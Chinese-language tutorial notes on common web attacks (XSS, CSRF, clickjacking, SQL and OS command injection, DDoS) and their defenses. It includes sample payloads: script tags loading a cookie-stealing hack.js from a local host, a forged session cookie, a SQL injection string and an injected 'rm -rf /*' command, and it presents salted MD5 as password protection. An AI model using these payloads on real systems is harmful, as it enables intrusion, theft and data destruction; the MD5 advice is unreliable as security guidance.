常见Web攻击
1、XSS
XSS(Cross-Site Scripting), 跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指恶意攻击者往Web页面里插入恶意脚本代码, 当用户浏览该页之时,浏览器运⾏⾮法的HTML标签或JavaScript 进⾏的⼀种攻击。
XSS攻击分类
- 反射型 - url参数直接注⼊
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
// 有人就说这么明显谁会点击呢?
// 那么我们可以伪装一下,短域名伪造 https://dwz.cn/
// 伪造Cookie入侵,登录进入
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
- 存储型 - 存储到DB后读取时注入
// 评论
<script>alert(1)</script>
// 跨站脚本注⼊ 我来了
我来了<script src="http://localhost:4000/hack.js"></script>
XSS攻击的危害:
- 获取⻚⾯数据
- 利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
- 劫持前端逻辑
- 发送请求
- 偷取⽹站的任意数据
防范手段
- ejs (模板引擎)转义⼩知识
<% code %>⽤于执⾏其中javascript代码;
<%= code %>会对code进⾏html转义
<%- code %>将不会进⾏转义
- HEAD
ctx.set('X-XSS-Protection', 1) // 启用XSS过滤
// http://localhost:3000/?from= 可以拦截 但伪装短域名就不行了
0 禁止XSS过滤
1 启⽤XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除⻚⾯(删除 不安全的部分)
- CSP
内容安全策略 (CSP, Content Security Policy) 是⼀个附加的安全层,⽤于帮助检测和缓解 某些类型的攻击,包括跨站脚本 (XSS) 和数据注⼊等攻击。 这些攻击可⽤于实现从数据窃 取到⽹站破坏或作为恶意软件分发版本等⽤途。
CSP 本质上就是建⽴⽩名单,开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们 只需要配置规则,如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少 XSS 攻击
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 https 协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
- 转义字符(黑名单转义: 哪些不想让显示,危险的转义 白名单转义:除了可以让显示的,其他的转义)
⽤户的输⼊永远不可信任的,最普遍的做法就是转义输⼊输出的内容,对于引号、尖括号、斜 杠进⾏转义
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '"')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
富⽂本来说,显然不能通过上⾯的办法来转义所有字符,因为这样会把需要的格式也过滤掉。 对于这种情况,通常采⽤⽩名单过滤的办法,当然也可以通过⿊名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使⽤⽩名单的⽅式
const xss = require('xss')
let html = xss('<h1 id="title">XSS DOM</h1><script>alert(1)</script>')
- HttpOnly Cookie
这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应⽤程序在设置cookie时,将其属性设为HttpOnly,就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取,保护⽤户cookie信息
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
2、CSRF
CSRF(Cross Site Request Forgery),即跨站请求伪造,是⼀种常⻅的Web攻击,它利⽤⽤户已登录的身份,在⽤户毫不知情的情况下,以⽤户的名义完成⾮法操作
- ⽤户已经登录了站点 A,并在本地记录了 cookie
- 在⽤户没有登出站点 A 的情况下(也就是 cookie ⽣效的情况下),访问了恶意攻击者提供的引诱危险站点 B
- 站点 A 没有做任何 CSRF 防御
登录 http://localhost:4000/csrf.html
CSRF攻击危害
- 利⽤⽤户登录态
- ⽤户不知
- 完成业务请求
- 盗取⽤户资⾦(转账,消费)
- 冒充⽤户发帖背锅
- 损害⽹站声誉
防御
- 禁⽌第三⽅⽹站带Cookie:有兼容性问题
- Referer Check: Https不发送referer
// HTTP Referer是[header]的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
// 我们可以在中间件中做判断处理
app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})
- 验证码
在一些重要操作前加验证
3、点击劫持 - clickjacking
点击劫持是⼀种视觉欺骗的攻击⼿段。攻击者将需要攻击的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃ ⼰的⽹⻚中,并将 iframe 设置为透明,在⻚⾯中透出⼀个按钮诱导⽤户点击
// 登录
http://localhost:4000/clickjacking.html
防御
- X-FRAME-OPTIONS
X-FRAME-OPTIONS 是⼀个 HTTP 响应头,在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头 就是为了防御⽤ iframe 嵌套的点击劫持攻击
该响应头有三个值可选,分别是
DENY,表示⻚⾯不允许通过 iframe 的⽅式展示
SAMEORIGIN,表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
ALLOW-FROM,表示⻚⾯可以在指定来源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
- js方式
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body
以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时,攻击者的⽹⻚直接不显示所有内容了
4、SQL注⼊
// 通过请求传参直接拼接sql
SELECT * FROM test.user WHERE username = 'laowang' AND password = ${ctx.request.body.pwd}
// 加入pwd为特殊字符
1'or'1'='1
// 拼接后的SQL
SELECT * FROM test.user WHERE username = 'laowang' AND password = '1'or'1'='1'
防御
- 所有的查询语句建议使⽤数据库提供的参数化查询接⼝**,参数化的语句使⽤参数⽽不是将⽤户 输⼊变量嵌⼊到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query ⽅法中的 ? 占位参数、使用escape()对传入参数进行编码等
- 严格限制Web应⽤的数据库的操作权限**,给此⽤户提供仅仅能够满⾜其⼯作的最低权限,从⽽ 最⼤限度的减少注⼊攻击对数据库的危害
- 后端代码检查输⼊的数据是否符合预期**,严格限制变量的类型,例如使⽤正则表达式进⾏⼀些 匹配处理
- 对进⼊数据库的特殊字符(',",\,<,>,&,*,; 等)进⾏转义处理,或编码转换**。基本上 所有的后端语⾔都有对字符串进⾏转义处理的⽅法,⽐如 lodash 的 lodash._escapehtmlchar 库
5、OS命令注⼊
OS命令注⼊和SQL注⼊差不多,只不过SQL注⼊是针对数据库的,⽽OS命令注⼊是针对操作系统的。 OS命令注⼊攻击指通过Web应⽤,执⾏⾮法的操作系统命令达到攻击的⽬的。只要在能调⽤Shell函数 的地⽅就有存在被攻击的⻛险。倘若调⽤Shell时存在疏漏,就可以执⾏插⼊的⾮法命令。
// 以 Node.js 为例,假如在接⼝中需要从 github 下载⽤户指定的
repo const exec = require('mz/child_process').exec;
let params = {/* ⽤户输⼊的参数 */};
exec(`git clone ${params.repo} /some/path`);
如果传⼊的参数是会怎样
https://github.com/xx/xx.git && rm -rf /* &&
6、请求劫持
- DNS劫持 顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期 的ip
- HTTP劫持 运营商劫持,此时⼤概只能升级HTTPS了
7、DDOS (distributed denial of service)
DDOS 不是⼀种攻击,⽽是⼀⼤类攻击的总称。它有⼏⼗种类型,新的攻击⽅法还在不断发明出来。 ⽹站运⾏的各个环节,都可以是攻击⽬标。只要把⼀个环节攻破,使得整个流程跑不起来,就达到了 瘫痪服务的⽬的。
其中,⽐较常⻅的⼀种攻击是 cc 攻击。它就是简单粗暴地送来⼤量正常的请求,超出服务器的最⼤承 受量,导致宕机。我遭遇的就是 cc 攻击,最多的时候全世界⼤概20多个 IP 地址轮流发出请求,每个 地址的请求量在每秒200次~300次。我看访问⽇志的时候,就觉得那些请求像洪⽔⼀样涌来,⼀眨眼 就是⼀⼤堆,⼏分钟的时间,⽇志⽂件的体积就⼤了100MB。说实话,这只能算⼩攻击,但是我的个 ⼈⽹站没有任何防护,服务器还是跟其他⼈共享的,这种流量⼀来⽴刻就下线了。
防御⼿段
- 备份⽹站 备份⽹站不⼀定是全功能的,如果能做到全静态浏览,就能满⾜需求。最低限度应该可以显示公 告,告诉⽤户,⽹站出了问题,正在全⼒抢修
- HTTP 请求的拦截 硬件 服务器 防⽕墙
- 带宽扩容 + CDN 提⾼犯罪成本
防御手段
1、密码安全
- 泄密渠道
数据库被偷、服务器被入侵、通讯被窃听、内部人员泄密、其他网站(撞库)
- 防御手段
严禁明文存储、单向变换、变换复杂度要求、密码复杂度要求、加盐(防拆解)
- 常用密码加密算法 - 哈希算法 (hash算法又称摘要算法常见有:MD5 sha1 sha256)
明文和密文一一对应;雪崩效应(明文小幅度变化,密文剧烈变化);密文到明文无法反推;密文固定长度;
- 确保密码传输安全
使用https传输、频次限制、
- 摘要加密的复杂度
哈希算法虽然无法反推但如果密码简单可进行穷举;由于常用口令的MD5值很容易被计算出来,所以,要确保存储的用户口令不是那些已经被计算出来的常用口令的MD5,这一方法通过对原始口令加一个复杂字符串来实现,俗称“加盐”:
const crypto = require('crypto')
const hash = (type, str) => crypto.createHash(type).update(str).digest('hex')
const md5 = str => hash('md5',str)
const sha1 = str => hash('sha1',str)
const encryptPassword = (salt, password) => md5(salt + 'abced@#4@%#$7' + password)
const psw = '11111'
console.log('md5', md5(psw))
console.log('sha1', sha1(psw))
2、⼈机验证与验证码
前端验证码身是不安全的可以获取
https://github.com/Hibear/verify
滑动验证码实现原理 1、服务端随机⽣成抠图和带有抠图阴影的背景图⽚,服务端保存随机抠图位置坐标; 2、前端实现滑动交互,将抠图拼在抠图阴影之上,获取到⽤户滑动距离值; 3、前端将⽤户滑动距离值传⼊服务端,服务端校验误差是否在容许范围内;
备注说明:单纯校验⽤户滑动距离是最基本的校验,处于更⾼安全考虑,可以考虑⽤户滑动整个轨迹、 ⽤户在当前⻚⾯上的⾏为等,可以将其细化复杂地步,可以根据实际情况设计。亦或借助⽤户⾏为数据分 析模型,最终的⽬标都是增加⾮法的模拟和绕过的难度。
3、HTTPS
HTTPS组成:http + ssl层
https 和密码学 www.cnblogs.com/hai-blog/p/…
浏览器如何验证SSL证书 wemedia.ifeng.com/70345206/we…
SSH公钥登录原理 www.cnblogs.com/scofi/p/661…
HTTPS加密原理介绍 www.techug.com/post/https-…)
SSL证书分类 blog.csdn.net/TrustAsia/a…
HTTP的弱点
// 查看需要经过的节点
traceroute www.baidu.com
tracert www.baidu.com
- 使用http会有哪些不好?
窃听密码敏感信息;篡改(插⼊⼴告 重定向到其他⽹站(JS 和 Head头))
时代趋势
- ⽬前全球互联⽹正在从HTTP向HTTPS的⼤迁移
- Chrome和⽕狐浏览器将对不采⽤HTTPS
- 加密的⽹站提示不安全
- 苹果要求所有APP通信都必须采⽤HTTPS加密
- ⼩程序强制要求服务器端使⽤HTTPS请求
https特点
保密性 (防泄密)、完整性(防篡改)、真实性(防假冒)
4、helmet中间件
前面我们讲到一些安全性的问题的方式方法都会在header上加一些安全性的标记,像这种普遍性的安全性问题一定是会有一个框架来解决的 ---- helmet
英[ˈhelmɪt] 头盔
https://www.npmjs.com/package/koa-helmet
// npm i koa-helmet -s
const Koa = require('koa');
const helmet = require('koa-helmet');
const app = new Koa();
app.use(helmet());
app.use((ctx) => {
ctx.body = "Hello World"
})
Strict-Transport-Security:强制使⽤安全连接(SSL/TLS之上的HTTPS)来连接到服务器。
X-Frame-Options:提供对于“点击劫持”的保护。
X-XSS-Protection:开启⼤多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。
X-Content-Type-Options: 防⽌浏览器使⽤MIME-sniffing来确定响应的类型,转⽽使⽤明确的 content-type来确定。
Content-Security-Policy:防⽌受到跨站脚本攻击以及其他跨站注⼊攻击。
5、Session管理
对于cookie的安全使⽤,其重要性是不⾔⽽喻的。特别是对于动态的web应⽤,在如HTTP这样的⽆状 态协议的之上,它们需要使⽤cookie来维持状态
Cookie标示:
- secure - 这个属性告诉浏览器,仅在请求是通过HTTPS传输时,才传递cookie。
- HttpOnly - 设置这个属性将禁⽌ javascript 脚本获取到这个cookie,这可以⽤来帮助防 ⽌跨站脚本攻击。
Cookie域:
- domain - 这个属性⽤来⽐较请求URL中服务端的域名。如果域名匹配成功,或这是其⼦域 名,则继续检查 path 属性
- path - 除了域名,cookie可⽤的URL路径也可以被指定。当域名和路径都匹配时,cookie才 会随请求发送。
- expires - 这个属性⽤来设置持久化的cookie,当设置了它之后,cookie在指定的时间到达 之前都不会过期